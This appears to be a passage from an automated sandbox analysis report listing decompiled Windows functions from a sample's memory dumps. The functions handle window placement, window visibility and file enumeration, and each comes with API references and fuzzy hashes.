,, xrefs: 00417E19

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: 0b81194dc1d1b1de540ed8c9507381ff605f161cdfbccd417236de09a261938e
Instruction ID: 882a3a085edc8f58efe4bb57e9082e6531e96cfad6ea4dffa077d9c007fbbeb8
Opcode Fuzzy Hash: 0b81194dc1d1b1de540ed8c9507381ff605f161cdfbccd417236de09a261938e
Instruction Fuzzy Hash: 66211B71600208ABCF10EF69D880EDA77B8AF48314F51456AFD18DF246D638ED448B68

Uniqueness

Uniqueness Score: -1.00%

Function 0045E244 Relevance: 7.6, APIs: 5, Instructions: 120
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0045E244(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				int _v12;
				void* _v16;
				char _v20;
				struct _WIN32_FIND_DATAA _v340;
				char _v344;
				char _v348;
				void* _t49;
				void* _t77;
				intOrPtr _t89;
				intOrPtr _t92;
				void* _t97;
				void* _t100;
				void* _t102;
				void* _t104;
				void* _t105;
				intOrPtr _t106;

				_t78 = __ecx;
				_t104 = _t105;
				_t106 = _t105 + 0xfffffea8;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v344 = 0;
				_v348 = 0;
				_v8 = 0;
				_v20 = 0;
				_t77 = __ecx;
				_t100 = __edx;
				_t102 = __eax;
				_push(_t104);
				_push(0x45e3f8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t106;
				_t107 = __ecx;
				if(__ecx != 0) {
					E0042C96C(__ecx, __ecx,  &_v344);
					_push(_v344);
					E0042C4C4(_t100,  &_v348);
					_pop(_t97);
					if(E0042C668(_v348, _t77, _t78, _t97, _t100, _t102, _t107) == 0) {
						E0042C944(_t77, _t78,  &_v8);
					}
				}
				_v12 = SetErrorMode(1);
				_push(_t104);
				_push(0x45e3c3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t106;
				E0042C4C4(_t100,  &_v344);
				E004036C4( &_v344, 0x45e410);
				_v16 = FindFirstFileA(E00403880(_v344),  &_v340);
				if(_v16 == 0xffffffff) {
					__eflags = 0;
					_pop(_t89);
					 *[fs:eax] = _t89;
					_push(0x45e3ca);
					return SetErrorMode(_v12);
				} else {
					_push(_t104);
					_push(0x45e3a5);
					_push( *[fs:eax]);
					 *[fs:eax] = _t106;
					do {
						_t49 = E0045CD58( &_v340);
						_t111 = _t49;
						if(_t49 != 0) {
							E004036A4( &_v20, 0x104,  &(_v340.cFileName));
							if(E0042C668(_v20, _t77, 0x104, _v8, _t100, _t102, _t111) != 0 && E0045DAB0( *((intOrPtr*)(_a4 - 4)), _v20, _t102) == 0) {
								E0045D9B8( *((intOrPtr*)(_a4 - 4)), _v20, _t102, 0, 0, 0);
							}
						}
					} while (FindNextFileA(_v16,  &_v340) != 0);
					_pop(_t92);
					 *[fs:eax] = _t92;
					_push(0x45e3ac);
					return FindClose(_v16);
				}
			}

0x0045e244
0x0045e245
0x0045e247
0x0045e24d
0x0045e24e
0x0045e24f
0x0045e252
0x0045e258
0x0045e25e
0x0045e261
0x0045e264
0x0045e266
0x0045e268
0x0045e26c
0x0045e26d
0x0045e272
0x0045e275
0x0045e278
0x0045e27a
0x0045e284
0x0045e28f
0x0045e298
0x0045e2a3
0x0045e2ab
0x0045e2b2
0x0045e2b2
0x0045e2ab
0x0045e2be
0x0045e2c3
0x0045e2c4
0x0045e2c9
0x0045e2cc
0x0045e2de
0x0045e2ee
0x0045e304
0x0045e30b
0x0045e3ac
0x0045e3ae
0x0045e3b1
0x0045e3b4
0x0045e3c2
0x0045e311
0x0045e313
0x0045e314
0x0045e319
0x0045e31c
0x0045e31f
0x0045e325
0x0045e32a
0x0045e32c
0x0045e33c
0x0045e34e
0x0045e375
0x0045e375
0x0045e34e
0x0045e38a
0x0045e390
0x0045e393
0x0045e396
0x0045e3a4
0x0045e3a4

APIs

SetErrorMode.KERNEL32(00000001,00000000,0045E3F8), ref: 0045E2B9
FindFirstFileA.KERNEL32(00000000,?,00000000,0045E3C3,?,00000001,00000000,0045E3F8), ref: 0045E2FF
FindNextFileA.KERNEL32(000000FF,?,00000000,0045E3A5,?,00000000,?,00000000,0045E3C3,?,00000001,00000000,0045E3F8), ref: 0045E385
FindClose.KERNEL32(000000FF,0045E3AC,0045E3A5,?,00000000,?,00000000,0045E3C3,?,00000001,00000000,0045E3F8), ref: 0045E39F

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 02f22185026e8130c032ef72f42e6d07742c4e03d744510b1e6e5a8dfdb4d954
Instruction ID: 118e15ace6c4d21b16b4fc6ed86408dea88d0f343785c3a37886904967bb367b
Opcode Fuzzy Hash: 02f22185026e8130c032ef72f42e6d07742c4e03d744510b1e6e5a8dfdb4d954
Instruction Fuzzy Hash: 8A418671A006149FDB15DFA6CC81AAEB7B8EF88305F5044AAFC04E7341D67C9F488E58

Uniqueness

Uniqueness Score: -1.00%

Function 0045DEB0 Relevance: 7.6, APIs: 5, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E0045DEB0(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				int _v8;
				void* _v12;
				struct _WIN32_FIND_DATAA _v332;
				char _v336;
				void* _t49;
				intOrPtr _t60;
				intOrPtr _t63;
				void* _t66;
				void* _t68;
				void* _t69;
				intOrPtr _t70;

				_t68 = _t69;
				_t70 = _t69 + 0xfffffeb4;
				_v336 = 0;
				_t66 = __edx;
				_t49 = __eax;
				_push(_t68);
				_push(0x45dfe1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t70;
				_v8 = SetErrorMode(1);
				_push(_t68);
				_push(0x45dfc1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t70;
				E0042C4C4(_t66,  &_v336);
				E004036C4( &_v336, 0x45dff8);
				_v12 = FindFirstFileA(E00403880(_v336),  &_v332);
				if(_v12 == 0xffffffff) {
					_pop(_t60);
					 *[fs:eax] = _t60;
					_push(0x45dfc8);
					return SetErrorMode(_v8);
				} else {
					_push(_t68);
					_push(0x45dfa3);
					_push( *[fs:eax]);
					 *[fs:eax] = _t70;
					do {
						if(E0045CD58( &_v332) != 0) {
							E004036A4( &_v336, 0x104,  &(_v332.cFileName));
							E0045D9B8( *((intOrPtr*)(_a4 - 4)), _v336, _t49, 0, 0, 0);
						}
					} while (FindNextFileA(_v12,  &_v332) != 0);
					_pop(_t63);
					 *[fs:eax] = _t63;
					_push(0x45dfaa);
					return FindClose(_v12);
				}
			}

0x0045deb1
0x0045deb3
0x0045debe
0x0045dec4
0x0045dec6
0x0045deca
0x0045decb
0x0045ded0
0x0045ded3
0x0045dedd
0x0045dee2
0x0045dee3
0x0045dee8
0x0045deeb
0x0045defd
0x0045df0d
0x0045df23
0x0045df2a
0x0045dfac
0x0045dfaf
0x0045dfb2
0x0045dfc0
0x0045df2c
0x0045df2e
0x0045df2f
0x0045df34
0x0045df37
0x0045df3a
0x0045df47
0x0045df60
0x0045df73
0x0045df73
0x0045df88
0x0045df8e
0x0045df91
0x0045df94
0x0045dfa2
0x0045dfa2

APIs

SetErrorMode.KERNEL32(00000001,00000000,0045DFE1), ref: 0045DED8
FindFirstFileA.KERNEL32(00000000,?,00000000,0045DFC1,?,00000001,00000000,0045DFE1), ref: 0045DF1E
FindNextFileA.KERNEL32(000000FF,?,00000000,0045DFA3,?,00000000,?,00000000,0045DFC1,?,00000001,00000000,0045DFE1), ref: 0045DF83
FindClose.KERNEL32(000000FF,0045DFAA,0045DFA3,?,00000000,?,00000000,0045DFC1,?,00000001,00000000,0045DFE1), ref: 0045DF9D
SetErrorMode.KERNEL32(?,0045DFC8,0045DFC1,?,00000001,00000000,0045DFE1), ref: 0045DFBB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$ErrorFileMode$CloseFirstNext
String ID:
API String ID: 3300381671-0
Opcode ID: aff3423789f717168a46b7fe3e5e644ec3e95599ad12f574d7c25b79c3c93c98
Instruction ID: 2cead2433a966ba10e75be37f65284a8db79719a2f7f50ebc2f7849e2f86b7b8
Opcode Fuzzy Hash: aff3423789f717168a46b7fe3e5e644ec3e95599ad12f574d7c25b79c3c93c98
Instruction Fuzzy Hash: 0A31E571A04608AFDB21EF61CC51ADEB7BCDF49704F5144B6FC09E7292D6386E448E68

Uniqueness

Uniqueness Score: -1.00%

Function 00478118 Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00478118(signed int __eax) {
				signed int _t8;
				void* _t11;
				intOrPtr _t21;
				signed int _t24;
				void* _t25;

				_t8 = __eax;
				_t24 = __eax;
				if( *0x4adf64 != 0) {
					_t8 = E00418440( *0x4adf64);
					if(_t8 != 0) {
						if( *((char*)( *0x4adf64 + 0xc7)) == 0 ||  *((char*)(_t24 + 0x1b5)) != 0) {
							L5:
							_t11 = 0;
						} else {
							_t21 =  *0x48d628; // 0x2162410
							if(IsIconic( *(_t21 + 0x20)) == 0) {
								_t11 = 1;
							} else {
								goto L5;
							}
						}
						_t25 = _t11;
						_t8 = GetWindowLongA(E004182A8( *0x4adf64), 0xfffffff0) & 0xffffff00 | (_t14 & 0x10000000) != 0x00000000;
						if(_t25 != _t8) {
							if(_t25 == 0) {
								return ShowWindow(E004182A8( *0x4adf64), 0);
							}
							return ShowWindow(E004182A8( *0x4adf64), 5);
						}
					}
				}
				return _t8;
			}

0x00478118
0x00478119
0x00478122
0x0047812d
0x00478134
0x00478142
0x0047815f
0x0047815f
0x0047814d
0x0047814d
0x0047815d
0x00478163
0x00000000
0x00000000
0x00000000
0x0047815d
0x00478165
0x0047817e
0x00478183
0x00478187
0x00000000
0x004781aa
0x00000000
0x00478196
0x00478183
0x00478134
0x004781b0

APIs

IsIconic.USER32 ref: 00478156
GetWindowLongA.USER32 ref: 00478174
ShowWindow.USER32(00000000,00000005,00000000,000000F0,004ADF64,00477A18,00477A44,00000000,00477A64,?,?,00000001,004ADF64), ref: 00478196
ShowWindow.USER32(00000000,00000000,00000000,000000F0,004ADF64,00477A18,00477A44,00000000,00477A64,?,?,00000001,004ADF64), ref: 004781AA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: dd42d303b032d3669f183c7b283b3b541a3a0b03f4221659e2030451217323e5
Instruction ID: 07f2c47246589b5102690f02175be36208d71431ade03849a3bb04b26934ee78
Opcode Fuzzy Hash: dd42d303b032d3669f183c7b283b3b541a3a0b03f4221659e2030451217323e5
Instruction Fuzzy Hash: FA017C30B843805EE710BB25CD4ABD727899B09308F4445BFB80A9BBA2EF7C8C41870C

Uniqueness

Uniqueness Score: -1.00%

Function 0045CDA4 Relevance: 4.6, APIs: 3, Instructions: 67
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0045CDA4(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v5;
				void* _v12;
				struct _WIN32_FIND_DATAA _v332;
				char _v336;
				intOrPtr _t47;
				intOrPtr _t48;
				void* _t52;
				void* _t53;
				intOrPtr _t54;

				_t52 = _t53;
				_t54 = _t53 + 0xfffffeb4;
				_v336 = 0;
				_push(_t52);
				_push(0x45ce78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t54;
				_v5 = 0;
				E0042C4C4(__eax,  &_v336);
				E004036C4( &_v336, 0x45ce94);
				_v12 = FindFirstFileA(E00403880(_v336),  &_v332);
				if(_v12 == 0xffffffff) {
					_pop(_t47);
					 *[fs:eax] = _t47;
					_push(0x45ce7f);
					return E00403548( &_v336);
				} else {
					_push(_t52);
					_push(0x45ce58);
					_push( *[fs:eax]);
					 *[fs:eax] = _t54;
					while(E0045CD58( &_v332) == 0) {
						if(FindNextFileA(_v12,  &_v332) != 0) {
							continue;
						}
						L5:
						_pop(_t48);
						 *[fs:eax] = _t48;
						_push(0x45ce5f);
						return FindClose(_v12);
						goto L7;
					}
					_v5 = 1;
					goto L5;
				}
				L7:
			}

0x0045cda5
0x0045cda7
0x0045cdb2
0x0045cdbc
0x0045cdbd
0x0045cdc2
0x0045cdc5
0x0045cdc8
0x0045cddb
0x0045cdeb
0x0045ce01
0x0045ce08
0x0045ce61
0x0045ce64
0x0045ce67
0x0045ce77
0x0045ce0a
0x0045ce0c
0x0045ce0d
0x0045ce12
0x0045ce15
0x0045ce18
0x0045ce3f
0x00000000
0x00000000
0x0045ce41
0x0045ce43
0x0045ce46
0x0045ce49
0x0045ce57
0x00000000
0x0045ce57
0x0045ce27
0x00000000
0x0045ce27
0x00000000

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0045CE78), ref: 0045CDFC
FindNextFileA.KERNEL32(000000FF,?,00000000,0045CE58,?,00000000,?,00000000,0045CE78), ref: 0045CE38
FindClose.KERNEL32(000000FF,0045CE5F,0045CE58,?,00000000,?,00000000,0045CE78), ref: 0045CE52

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: db52346ee326165819e288216a2168ba8f477c14be2641a93cd345d5abfd7dde
Instruction ID: 01286ba5e2f2dc1a8f3fd0daa9b101753f990c57140b8ec26d21c01e98d437ca
Opcode Fuzzy Hash: db52346ee326165819e288216a2168ba8f477c14be2641a93cd345d5abfd7dde
Instruction Fuzzy Hash: 3321D571504748AEDB21DB65CC82ADEBBBCDB49715F5044F7B808E22A2D63C5E48CA68

Uniqueness

Uniqueness Score: -1.00%

Function 004242A4 Relevance: 4.5, APIs: 3, Instructions: 32
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004242A4(void* __eax) {
				struct HWND__* _t10;
				void* _t21;

				_t21 = __eax;
				_t10 = IsIconic( *(__eax + 0x20));
				_t25 = _t10;
				if(_t10 != 0) {
					SetActiveWindow( *(_t21 + 0x20));
					E00423714( *(_t21 + 0x20), 9, _t25);
					E00423BDC(_t21);
					_t10 =  *0x48d62c; // 0x2160660
					_t24 =  *((intOrPtr*)(_t10 + 0x3c));
					if( *((intOrPtr*)(_t10 + 0x3c)) != 0) {
						_t10 = SetFocus(E004182A8(_t24));
					}
					if( *((short*)(_t21 + 0xd6)) != 0) {
						return  *((intOrPtr*)(_t21 + 0xd4))();
					}
				}
				return _t10;
			}

0x004242a6
0x004242ac
0x004242b1
0x004242b3
0x004242b9
0x004242c6
0x004242cd
0x004242d2
0x004242d7
0x004242dc
0x004242e6
0x004242e6
0x004242f3
0x00000000
0x004242fd
0x004242f3
0x00424305

APIs

IsIconic.USER32 ref: 004242AC
SetActiveWindow.USER32(?,?,?,?,00465D23), ref: 004242B9

Part of subcall function 00423714: ShowWindow.USER32(00410718,00000009,?,00000000,0041EE6C,00423A02,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042372F

Part of subcall function 00423BDC: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,02162410,004242D2,?,?,?,?,00465D23), ref: 00423C17

SetFocus.USER32(00000000,?,?,?,?,00465D23), ref: 004242E6

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: 525cc6e08a8bceea2193b1f85de86759ce4ac8d020da746bb49d1ed5d9845e83
Instruction ID: a1f033c8e576e22cefe5ec6a563bc8c5ffa65d0d10626093fa9beda1e522a0d9
Opcode Fuzzy Hash: 525cc6e08a8bceea2193b1f85de86759ce4ac8d020da746bb49d1ed5d9845e83
Instruction Fuzzy Hash: 3FF0D0717001104BCB10FFAAD885B9A23A8AF48305B5541BBBC49DF25BD67CDC018768

Uniqueness

Uniqueness Score: -1.00%

Function 00417D96 Relevance: 3.0, APIs: 2, Instructions: 49
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417D96(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void _v64;
				int _t34;
				void* _t52;
				int _t60;
				int _t66;

				_t60 = __ecx;
				_t66 = __edx;
				_t52 = __eax;
				if(__edx !=  *((intOrPtr*)(__eax + 0x24)) || __ecx !=  *((intOrPtr*)(__eax + 0x28)) || _a8 !=  *((intOrPtr*)(__eax + 0x2c))) {
					L5:
					if(E00418440(_t52) == 0 || IsIconic( *(_t52 + 0xc0)) != 0) {
						 *(_t52 + 0x24) = _t66;
						 *(_t52 + 0x28) = _t60;
						 *((intOrPtr*)(_t52 + 0x2c)) = _a8;
						 *((intOrPtr*)(_t52 + 0x30)) = _a4;
						if(E00418440(_t52) != 0) {
							_v48.length = 0x2c;
							GetWindowPlacement( *(_t52 + 0xc0),  &_v48);
							E00414724(_t52,  &_v64);
							memcpy( &(_v48.rcNormalPosition),  &_v64, 4 << 2);
							SetWindowPlacement( *(_t52 + 0xc0),  &_v48);
						}
					} else {
						SetWindowPos( *(_t52 + 0xc0), 0, _t66, _t60, _a8, _a4, 0x14);
					}
					_t34 = E00414528(_t52);
				} else {
					_t34 = _a4;
					if(_t34 !=  *((intOrPtr*)(__eax + 0x30))) {
						goto L5;
					}
				}
				return _t34;
			}

0x00417da1
0x00417da3
0x00417da5
0x00417daa
0x00417dc5
0x00417dce
0x00417dfc
0x00417dff
0x00417e05
0x00417e0b
0x00417e17
0x00417e19
0x00417e2b
0x00417e35
0x00417e45
0x00417e52
0x00417e52
0x00417de0
0x00417df5
0x00417df5
0x00417e59
0x00417db9
0x00417db9
0x00417dbf
0x00000000
0x00000000
0x00417dbf
0x00417e64

APIs

IsIconic.USER32 ref: 00417DD7
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417DF5
GetWindowPlacement.USER32(?,0000002C), ref: 00417E2B
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417E52

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: dc58d66978c6618ff13ac97b2135afa658c4e4a3005f0a2fe000ae6168c5a40b
Instruction ID: 30cacb2419379e21ad62ac75053296c38e5df2c0c88bcfe5efa0be9826c6abaa
Opcode Fuzzy Hash: dc58d66978c6618ff13ac97b2135afa658c4e4a3005f0a2fe000ae6168c5a40b
Instruction Fuzzy Hash: 00012131204108A7CB10EE69DCC1EE777ACAF44324F65456AFD19DF246DA35DC9087A9

Uniqueness

Uniqueness Score: -1.00%

Function 00417660 Relevance: 3.0, APIs: 2, Instructions: 44
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417660(intOrPtr* __eax, void* __edx) {
				intOrPtr _t15;
				void* _t17;
				void* _t19;
				intOrPtr* _t20;
				void* _t27;

				_t27 = __edx;
				_t20 = __eax;
				if(( *(__edx + 4) & 0x0000fff0) != 0xf100 ||  *((short*)(__edx + 8)) == 0x20 ||  *((short*)(__edx + 8)) == 0x2d || IsIconic( *(__eax + 0xc0)) != 0 || GetCapture() != 0) {
					L8:
					return  *((intOrPtr*)( *_t20 - 0x10))();
				}
				_t15 =  *0x48d628; // 0x2162410
				if(_t20 ==  *((intOrPtr*)(_t15 + 0x28))) {
					goto L8;
				}
				_t17 = E0041F73C(_t20);
				_t26 = _t17;
				if(_t17 == 0) {
					goto L8;
				}
				_t19 = E00415308(_t26, 0, 0xb017, _t27);
				if(_t19 == 0) {
					goto L8;
				}
				return _t19;
			}

0x00417663
0x00417665
0x00417674
0x004176c7
0x00000000
0x004176cd
0x0041769d
0x004176a5
0x00000000
0x00000000
0x004176a9
0x004176ae
0x004176b2
0x00000000
0x00000000
0x004176be
0x004176c5
0x00000000
0x00000000
0x004176d3

APIs

IsIconic.USER32 ref: 0041768B
GetCapture.USER32 ref: 00417694

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: 71f45d83057601ef7c9972d8b124dc0c79a2ac31caeb3e9c2b7b1a9b94684ccc
Instruction ID: e2c853b8e7d03f8f643d1a4b758c0cccdc63e7ffcba8e606f1134375ce5c50b7
Opcode Fuzzy Hash: 71f45d83057601ef7c9972d8b124dc0c79a2ac31caeb3e9c2b7b1a9b94684ccc
Instruction Fuzzy Hash: 1DF03131304E1147D7209B2EC885AA776F49F44368B14443FE415CB7A1EB6DDCC58758

Uniqueness

Uniqueness Score: -1.00%

Function 0042425C Relevance: 3.0, APIs: 2, Instructions: 22
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042425C(void* __eax, void* __ecx) {
				int _t9;
				void* _t17;
				void* _t18;

				_t18 = __ecx;
				_t17 = __eax;
				_t9 = IsIconic( *(__eax + 0x20));
				_t21 = _t9;
				if(_t9 == 0) {
					E00423B4C(_t17, _t18);
					SetActiveWindow( *(_t17 + 0x20));
					_t9 = E00423714( *(_t17 + 0x20), 6, _t21);
					if( *((short*)(_t17 + 0xce)) != 0) {
						return  *((intOrPtr*)(_t17 + 0xcc))();
					}
				}
				return _t9;
			}

0x0042425c
0x0042425d
0x00424263
0x00424268
0x0042426a
0x0042426e
0x00424277
0x00424284
0x00424291
0x00000000
0x0042429b
0x00424291
0x004242a2

APIs

IsIconic.USER32 ref: 00424263

Part of subcall function 00423B4C: EnumWindows.USER32(00423AE4), ref: 00423B70
Part of subcall function 00423B4C: GetWindow.USER32(?,00000003), ref: 00423B85
Part of subcall function 00423B4C: GetWindowLongA.USER32 ref: 00423B94
Part of subcall function 00423B4C: SetWindowPos.USER32(00000000,$BB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,00424273,?,?,00423E3B), ref: 00423BCA

SetActiveWindow.USER32(?,?,?,00423E3B,00000000,00424224), ref: 00424277

Part of subcall function 00423714: ShowWindow.USER32(00410718,00000009,?,00000000,0041EE6C,00423A02,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042372F

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: aaaddde6ee2b305b5243f3db384bc4cc68d29bade52947bdfcd5501e18dbe071
Instruction ID: c189c6313aa840117835aae4f110270c77ee590bde57f011389e38c63b543ebb
Opcode Fuzzy Hash: aaaddde6ee2b305b5243f3db384bc4cc68d29bade52947bdfcd5501e18dbe071
Instruction Fuzzy Hash: 12E01AA130022087DB00AFAAD8C4B9672A9BB88305F5541BABD08DF28BD63CDC008738

Uniqueness

Uniqueness Score: -1.00%

Function 004126A0 Relevance: 1.7, APIs: 1, Instructions: 188
nativeCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004126A0(intOrPtr __eax, intOrPtr* __edx) {
				intOrPtr _v8;
				char _v9;
				intOrPtr _v16;
				void* __edi;
				void* _t46;
				intOrPtr _t53;
				void* _t57;
				signed int _t60;
				void* _t68;
				signed int _t72;
				void* _t74;
				signed int _t78;
				intOrPtr _t82;
				intOrPtr _t87;
				signed int _t91;
				signed int _t92;
				signed int _t94;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t100;
				signed int _t101;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t125;
				signed int _t126;
				intOrPtr _t128;
				intOrPtr _t135;
				intOrPtr _t138;
				intOrPtr _t143;
				void* _t144;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t148;
				intOrPtr* _t149;
				intOrPtr _t151;

				_t149 = __edx;
				_v8 = __eax;
				_push(0x41289d);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t151;
				_t46 =  *__edx - 0x53;
				if(_t46 == 0) {
					_v16 =  *((intOrPtr*)(__edx + 8));
					_t91 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t91;
					if(_t91 < 0) {
						L37:
						_push( *((intOrPtr*)(_t149 + 8)));
						_push( *(_t149 + 4));
						_push( *_t149);
						_t53 =  *((intOrPtr*)(_v8 + 0x10));
						L00405F3C();
						 *((intOrPtr*)(_t149 + 0xc)) = _t53;
						_t118 = _t53;
						 *[fs:eax] = _t118;
						return 0;
					}
					_t92 = _t91 + 1;
					_t145 = 0;
					__eflags = 0;
					while(1) {
						_t57 =  *((intOrPtr*)( *((intOrPtr*)(E0040B504(_v8, _t145))) + 0x2c))();
						_t121 = _v16;
